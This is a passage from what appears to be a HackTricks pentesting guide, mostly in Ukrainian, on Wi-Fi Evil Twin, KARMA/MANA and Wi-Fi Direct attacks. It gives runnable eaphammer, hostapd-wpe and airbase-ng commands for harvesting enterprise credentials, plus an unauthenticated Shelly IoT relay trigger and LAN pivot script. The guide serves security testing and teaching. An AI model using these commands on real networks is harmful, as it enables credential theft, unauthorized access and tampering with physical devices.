  • Client Roaming and Connection Manipulation: Протокол 802.11 дозволяє пристроям роумити між access points в межах одного ESS. Атакуючі можуть скористатися цим, змусивши пристрій відключитися від свого поточного base station і підключитися до rogue access point. Це можна досягти, пропонуючи сильніший сигнал або порушуючи з’єднання з легітимним access point за допомогою deauthentication packets або jamming.
  • Challenges in Execution: Успішне проведення атаки Evil Twin в середовищі з кількома добре розміщеними access points може бути складним. Деаутентифікація одного легітимного access point часто призводить до підключення пристрою до іншого легітимного access point, якщо атакуючий не може деаутентифікувати всі сусідні access points або стратегічно розмістити rogue access point.

Ви можете створити дуже базовий Open Evil Twin (без можливості маршрутизувати трафік в Internet), виконавши:

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

Ви також можете створити Evil Twin за допомогою eaphammer (зверніть увагу, що для створення evil twins за допомогою eaphammer інтерфейс не повинен бути в режимі monitor):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

Або використовуючи Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

Зверніть увагу, що за замовчуванням, якщо ESSID у PNL збережено як захищений WPA, пристрій не буде автоматично підключатися до Open evil Twin. Ви можете спробувати DoS реальний AP і сподіватися, що користувач вручну підключиться до вашого Open evil twin, або ви можете DoS реальний AP та використати WPA Evil Twin, щоб захопити handshake (за допомогою цього методу ви не зможете дозволити жертві підключитися до вас, оскільки ви не знаєте PSK, але можете захопити handshake і спробувати зламати його).

Деякі OS та AV попереджатимуть користувача, що підключення до відкритої мережі є небезпечним…

WPA/WPA2 Evil Twin

Ви можете створити Evil Twin using WPA/2 і якщо пристрої налаштовані підключатися до того SSID з WPA/2, вони спробують підключитися. Втім, щоб завершити 4-way-handshake вам також потрібно знати пароль, який клієнт збирається використовувати. Якщо ви не знаєте його, підключення не буде завершено.

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

Enterprise Evil Twin

Щоб зрозуміти ці атаки, рекомендую спочатку прочитати коротке WPA Enterprise пояснення.

Використання hostapd-wpe

hostapd-wpe потребує файлу конфігурації для роботи. Щоб автоматизувати генерацію цих конфігурацій, можна використати https://github.com/WJDigby/apd_launchpad (завантажте python-файл всередині /etc/hostapd-wpe).

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s

У конфігураційному файлі ви можете вибрати багато різних параметрів, таких як ssid, channel, user files, cret/key, dh parameters, wpa version та auth…

Using hostapd-wpe with EAP-TLS to allow any certificate to login.

Використання EAPHammer

# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

За замовчуванням EAPHammer використовує ці методи аутентифікації (зверніть увагу, що GTC — перший, який намагається отримати plaintext-паролі, після чого застосовуються більш стійкі методи аутентифікації):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

Це методологія за замовчуванням, щоб уникнути тривалого часу підключення. Однак ви також можете вказати серверу методи автентифікації від найслабших до найсильніших:

--negotiate weakest

Or you could also use:

  • --negotiate gtc-downgrade для використання високоефективної реалізації GTC downgrade (plaintext passwords)
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP щоб вручну вказати пропоновані методи (якщо запропонувати ті ж самі auth methods у тому ж порядку, що й організація, виявлення атаки буде набагато складнішим).
  • Find more info in the wiki

When clients skip RADIUS certificate validation (PEAP/TTLS)

  • Якщо пристрої налаштовано з “do not validate certificate”, клонований AP + rogue RADIUS (eaphammer --cert-wizard --creds --auth wpa-eap) зібране NetNTLMv2 (PEAP-MSCHAPv2) або cleartext creds (PEAP-GTC). bettercap deauth (wifi.deauth <BSSID>) одночасно виявляє приховані SSID під час probes і змушує повторні підключення, якщо тільки PMF/802.11w не блокує підроблені deauth.
  • Cracked NetNTLMv2 дає повторно використовувані Wi‑Fi/AD creds; GTC дає негайний plaintext.

Relaying PEAP-MSCHAPv2 instead of cracking (wpa_sycophant + hostapd-mana)

  • Для машинних облікових записів з незламними випадковими паролями зловмисно використовуйте MSCHAPv2 relay: запустіть hostapd-mana як Evil Twin, переадресовуючи MSCHAPv2 обмін до wpa_sycophant, який одночасно підключається до легітимної AP. Успішне relay надає автентифікований доступ до Wi‑Fi без відновлення пароля.
  • Використовуйте збірки, що підтримують цільовий рівень безпеки (WPA3/PMF вимагає актуальних hostapd/wpa_supplicant); PMF запобігає примусовим deauth, тож чекайте на добровільні підключення клієнтів.

Using Airgeddon

Airgeddon може використовувати раніше згенеровані сертифікати для пропозиції EAP-автентифікації до WPA/WPA2-Enterprise мереж. Фейкова мережа понизить протокол з’єднання до EAP-MD5, тож вона зможе capture the user and the MD5 of the password. Пізніше атакуючий може спробувати crack the password.
Airggedon пропонує можливість continuous Evil Twin attack (noisy) або only create the Evil Attack until someone connects (smooth).

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

This method was tested in an PEAP connection but as I’m decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS

Inside the configuration of hostapd-wpe comment the line that contains dh_file (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
This will make hostapd-wpe to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key.

Now start the Evil Twin using hostapd-wpe with that modified configuration as usual. Also, start wireshark in the interface which is performing the Evil Twin attack.

Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Add a new entry and fill the form with this values: IP address = anyPort = 0Protocol = dataKey File (select your key file, to avoid problems select a key file without being password protected).

And look at the new “Decrypted TLS” tab:

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

Різні типи списків фільтрації Media Access Control (MFACLs) та їхні відповідні режими і вплив на поведінку зловмисної Access Point (AP):

  1. MAC-based Whitelist:
  • Зловмисна AP відповідатиме лише на probe-запити від пристроїв, вказаних у whitelist, залишаючись невидимою для всіх інших, не включених до списку.
  1. MAC-based Blacklist:
  • Зловмисна AP ігноруватиме probe-запити від пристроїв у blacklist, фактично роблячи зловмисну AP невидимою для цих конкретних пристроїв.
  1. SSID-based Whitelist:
  • Зловмисна AP відповідатиме на probe-запити лише для конкретних ESSID, що вказані у списку, роблячи її невидимою для пристроїв, чиї Preferred Network Lists (PNLs) не містять цих ESSID.
  1. SSID-based Blacklist:
  • Зловмисна AP не відповідатиме на probe-запити для конкретних ESSID, що в чорному списку, роблячи її невидимою для пристроїв, які шукають саме ці мережі.
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

Цей метод дозволяє attacker створити зловмисну access point (AP), яка відповідає на всі probe requests від пристроїв, що намагаються підключитися до мереж. Ця техніка обманює пристрої, змушуючи їх підключатися до an attacker’s AP, імітуючи мережі, які шукають пристрої. Коли пристрій надсилає запит на підключення до цієї rogue AP, з’єднання завершується, через що пристрій помилково підключається до мережі атакуючого.

MANA

Потім пристрої почали ігнорувати ненадійні відповіді мереж, що знизило ефективність початкової karma attack. Однак була представлена нова методика, відома як MANA attack, запропонована Ian de Villiers і Dominic White. Цей метод передбачає, що rogue AP збирає Preferred Network Lists (PNL) з пристроїв, відповідаючи на їх broadcast probe requests назвами мереж (SSIDs), які раніше були відомі пристроям. Ця складна атака обходить захисти проти оригінальної karma attack, експлуатуючи спосіб, у який пристрої запам’ятовують і віддають пріоритет відомим мережам.

MANA attack працює, моніторячи як directed, так і broadcast probe requests від пристроїв. Для directed запитів він записує MAC address пристрою і запитувану назву мережі, додаючи цю інформацію до списку. Коли надходить broadcast request, AP відповідає інформацією, що збігається з будь-якою мережею зі списку пристрою, підманюючи пристрій підключитися до rogue AP.

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

А Loud MANA attack — просунута стратегія на випадки, коли пристрої не використовують directed probing або коли їх Preferred Network Lists (PNL) невідомі атакуючому. Вона ґрунтується на принципі, що пристрої в одній зоні ймовірно мають у своїх PNL деякі спільні імена мереж. Замість вибіркових відповідей ця атака транслює probe responses для кожного імені мережі (ESSID), знайденого в комбінованих PNLs усіх спостережуваних пристроїв. Такий широкий підхід підвищує ймовірність того, що пристрій впізнає знайому мережу і спробує підключитися до rogue Access Point (AP).

./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Коли Loud MANA attack може бути недостатньою, Known Beacon attack пропонує інший підхід. Цей метод brute-forces процес підключення, імітуючи AP, який відповідає на будь-яку назву мережі, перебираючи список потенційних ESSIDs, отриманих з wordlist. Це імітує наявність численних мереж у надії співпасти з ESSID у PNL жертви, що спонукає спробу підключення до сфабрикованого AP. Атаку можна посилити, поєднавши її з опцією --loud для більш агресивної спроби заманити пристрої.

Eaphammer реалізував цю атаку як MANA attack, де всі ESSIDs зі списку транслюються (ви також можете поєднати це з --loud, щоб створити Loud MANA + Known beacons attack):

./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

Атака Known Beacon Burst attack передбачає швидку послідовну трансляцію beacon frames для кожного ESSID, вказаного у файлі. Це створює щільне середовище підробних мереж, що значно підвищує ймовірність підключення пристроїв до rogue AP, особливо в поєднанні з MANA attack. Ця техніка використовує швидкість і обсяг, щоб перевантажити механізми вибору мереж у пристроїв.

# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct — це протокол, що дозволяє пристроям напряму з’єднуватися один з одним по Wi‑Fi без потреби у традиційній бездротовій точці доступу. Ця можливість інтегрована в різні пристрої Internet of Things (IoT), такі як принтери та телевізори, і полегшує пряму комунікацію пристрій‑до‑пристрою. Важливою особливістю Wi‑Fi Direct є те, що один пристрій бере на себе роль точки доступу, відомої як group owner, для керування підключенням.

Безпеку підключень Wi‑Fi Direct забезпечує Wi‑Fi Protected Setup (WPS), який підтримує кілька методів для захищеного спарингу, зокрема:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

Ці методи, особливо PIN entry, вразливі до тих самих уразливостей, що й WPS у традиційних Wi‑Fi мережах, що робить їх мішенями для подібних векторів атаки.

EvilDirect Hijacking

EvilDirect Hijacking — це атака, специфічна для Wi‑Fi Direct. Вона відображає концепцію Evil Twin, але спрямована на Wi‑Fi Direct підключення. У цьому сценарії атакуючий видає себе за легітимного group owner з метою обдурити пристрої, щоб ті підключилися до шкідливої сутності. Цей метод можна реалізувати за допомогою інструментів на кшталт airbase-ng, вказавши channel, ESSID та MAC address імітованого пристрою:

Commissioning AP persistence & dual-homed IoT pivoting (Shelly Gen4 case)

Деякі споживчі IoT реле/контролери залишають commissioning open AP активним після приєднання до IoT WLAN (наприклад, Shelly Gen4 SSIDs, що починаються з Shelly). Пристрій залишається dual-homed: інтерфейс AP з дефолтною IP 192.168.33.1 плюс клієнтський інтерфейс у внутрішній WLAN.

Abuse flow (Wi‑Fi proximity required):

  1. Приєднатися до provisioning AP, отримати DHCP lease і переглядати AP-side HTTP API.
  2. Активувати реле через неавтентифіковані endpoints, наприклад http://192.168.33.1/relay/0?turn=on (можливий вплив на двері/шлагбаум/гараж). Endpoint-и для завантаження firmware можуть додати персистентність.
  3. Використовувати як pivot: Shelly scripting може відправляти HTTP з внутрішнього інтерфейсу до інших хостів LAN. Приклад pivot до іншого Shelly за адресою 10.0.98.221:
Shelly.addEventHandler(function (event) {
if (event.component === "switch:0" && event.info.state) {
Shelly.call("HTTP.GET", { url: "http://10.0.98.221/light/0?turn=on" });
}
});

Замініть URL на будь‑яку досяжну внутрішню HTTP-цель; dual-homing уникає додаткової маршрутизації/NAT. 4. На масштабі: запитуйте vendor SSIDs на wigle.net (наприклад, Shelly), щоб знаходити commissioning AP для експлуатації на місці.

Для персистентності залиште commissioning AP увімкненим.

References

TODO: Перегляньте https://github.com/wifiphisher/wifiphisher (вхід через Facebook та імітація WPA у captive portals)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks